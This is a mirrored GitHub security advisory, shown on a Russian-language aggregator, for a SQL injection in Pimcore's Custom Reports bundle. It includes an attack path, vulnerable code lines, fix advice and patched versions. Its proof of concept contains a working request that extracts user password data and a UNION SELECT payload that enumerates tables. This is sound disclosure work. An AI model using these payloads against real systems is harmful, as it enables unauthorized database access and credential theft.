Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-23rh-xw42-fq82

Опубликовано: 10 сент. 2026
Источник: github
Github: Прошло ревью
CVSS3: 8.8

Описание

Pimcore: SQL Injection in Custom Reports via Malicious Report Configuration

Security Advisory: SQL Injection in Custom Reports via Malicious Report Configuration

Summary

Impact

A SQL injection vulnerability exists in the Custom Reports bundle (bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:84-135). An authenticated attacker with reports_config permission can inject arbitrary SQL via the report configuration fields (sql, from, where, groupby), which are directly concatenated into SQL queries without parameterization. The only protection is a regex blacklist that checks for ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE keywords, which is trivially bypassable — it does not block INSERT, UNION SELECT, LOAD_FILE(), INTO OUTFILE, stacked queries, subqueries, or MySQL comment injection (/*!*/). Exploitation allows reading, modifying, or deleting all data in the database, leading to complete data compromise.

Additionally, the LIMIT clause at line 51 directly interpolates $offset and $limit without integer casting, creating a secondary injection point.

Patches

Versions 2026.1.6, 12.3.10, 11.5.19.

Workarounds

  1. Restrict reports_config permission to only highly trusted administrators
  2. Deploy a WAF rule to block requests to /admin/bundle/customreports/custom-report/update containing SQL keywords in the configuration parameter
  3. Replace the custom SQL adapter with a parameterized query builder approach

Attack Path (Validation Evidence)

[Entry Point] POST /admin/bundle/customreports/custom-report/update HTTP/1.1 ↓ (requires reports_config permission + valid admin session) [Controller] CustomReportController::updateAction() ↓ $configuration = decodeJson($request->request->getString('configuration')) [Config Store] Configuration saved to custom_reports database table [Config Load] Tool\Config::getByName() loads stdClass $config from DB ↓ [Adapter] Sql::getBaseQuery() → Sql::buildQueryString($config) ↓ Directly concatenates config fields: [Vulnerable] $sql .= "\n" . $config['sql']; // Line 92 $sql .= "\n" . $config['from']; // Line 103 $sql .= "\n" . 'WHERE (' . $config['where'] . ')'; // Line 110 $sql .= "\n" . $config['groupby']; // Line 117 [Weak Guard] preg_match('/(ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE)\s/i', ...) ↓ ✗ Bypassable — missing INSERT, UNION, SELECT, subqueries, comments [Execution] $db->fetchAllAssociative($sql); // Line 54 ↓ [Impact] Arbitrary SQL execution — full database compromise

Taint Flow (Validation Evidence)

Source: $request->request->getString('configuration') (HTTP POST body, user-controlled) ↓ json_decode() → stdClass [Store] Persistent in database (custom_reports table) [Load] Config::getByName() → stdClass $config ↓ ✗ No sanitization (only bypassable regex blacklist) [Sink] $db->fetchAllAssociative($concatenatedSql) ↓ Impact: Attacker-controlled SQL executed against the database

Proof of Concept

Steps

  1. Authenticate as an admin user with reports_config permission
  2. Send a report update request with malicious SQL in the configuration:

Request

POST /admin/bundle/customreports/custom-report/update HTTP/1.1 Host: <target-host> Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=<valid_admin_session> name=malicious_report&configuration=%7B%22sql%22%3A%22SELECT%20id%2C%20username%2C%20password%20FROM%20users%22%2C%22from%22%3A%22users%22%2C%22where%22%3A%221%3D1%22%2C%22groupby%22%3A%22%22%2C%22dataSourceConfig%22%3A%7B%7D%7D
  1. Access the report data endpoint to retrieve extracted user credentials
  2. Alternatively, the where field can be set to:
    1=1 UNION SELECT TABLE_NAME, TABLE_SCHEMA, 1 FROM INFORMATION_SCHEMA.TABLES
    to enumerate all database tables

Expected Result

The custom report returns rows from arbitrary tables beyond what was intended, proving successful SQL injection.

Affected Component

  • File: bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php
  • Method: buildQueryString() (lines 84-135), getBaseQuery() (lines 137-216), getData() (lines 25-58)
  • Class: Pimcore\Bundle\CustomReportsBundle\Tool\Adapter\Sql

Fix Recommendation

Replace the custom SQL concatenation approach with a parameterized query builder:

// Instead of: $sql .= "\n" . $config['sql']; $sql .= "\n" . $config['from']; $sql .= "\n" . 'WHERE (' . $config['where'] . ')'; // Use a whitelist-based approach: // 1. Only allow predefined table names from a whitelist // 2. Use Doctrine QueryBuilder for WHERE conditions // 3. Use parameterized queries for all user-supplied values // 4. Cast LIMIT/OFFSET to integers $sql .= ' LIMIT ' . (int)$offset . ',' . (int)$limit;

Resources

Пакеты

Наименование

pimcore/pimcore

composer
Затронутые версииВерсия исправления

>= 2026.1.0, <= 2026.1.5

2026.1.6

Наименование

pimcore/pimcore

composer
Затронутые версииВерсия исправления

>= 12.0.0-RC1, <= 12.3.9

12.3.10

Наименование

pimcore/pimcore

composer
Затронутые версииВерсия исправления

< 11.5.18

11.5.19

8.8 High

CVSS3

Дефекты

CWE-89

8.8 High

CVSS3

Дефекты

CWE-89